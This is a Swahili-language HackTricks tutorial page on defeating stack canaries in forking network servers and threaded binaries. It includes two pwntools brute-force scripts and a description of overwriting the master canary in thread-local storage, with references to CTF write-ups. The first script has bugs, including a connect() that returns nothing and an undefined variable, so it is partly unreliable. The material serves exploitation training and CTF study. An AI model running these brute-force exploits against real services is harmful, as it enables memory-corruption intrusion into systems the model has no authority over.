BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ikiwa unakutana na binary iliyo na kinga ya canary na PIE (Position Independent Executable) huenda unahitaji kutafuta njia ya kuipita.
note
Kumbuka kwamba checksec
huenda isiweze kugundua kwamba binary ina kinga ya canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kutambua kazi hiyo.
Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
Brute force Canary
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunganisha nayo canary ile ile itatumika.
Basi, njia bora ya kuipita canary ni tu kujaribu kwa nguvu kila herufi, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kukagua ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi ina jaribu kwa nguvu canary ya Bytes 8 (x64) na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa kuangalia ikiwa jibu linatumwa nyuma na seva (njia nyingine katika hali nyingine inaweza kuwa kutumia jaribu/ukosefu):
Mfano 1
Mfano huu umeandikwa kwa 64bits lakini unaweza kutekelezwa kwa urahisi kwa 32 bits.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Mfano wa 2
Hii imewekwa kwa bit 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bit 64.
Pia kumbuka kwamba kwa mfano huu programu inatarajia kwanza byte moja kuashiria ukubwa wa ingizo na payload.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Threads za mchakato mmoja pia zitaungana na tokeni ya canary sawa, kwa hivyo itakuwa inawezekana brute-force canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
Zaidi ya hayo, overflow ya buffer katika kazi iliyo na thread iliyolindwa na canary inaweza kutumika kubadilisha canary mkuu iliyohifadhiwa katika TLS. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na kwa hivyo, canary) kupitia bof katika stack ya thread.
Kwa matokeo, kinga ni bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).
Shambulio hili linafanywa katika andiko: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Angalia pia uwasilishaji wa https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 ambayo inasema kwamba kawaida TLS inahifadhiwa na mmap
na wakati stack ya thread inaundwa pia inazalishwa na mmap
kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita
execve
na kuruka huko.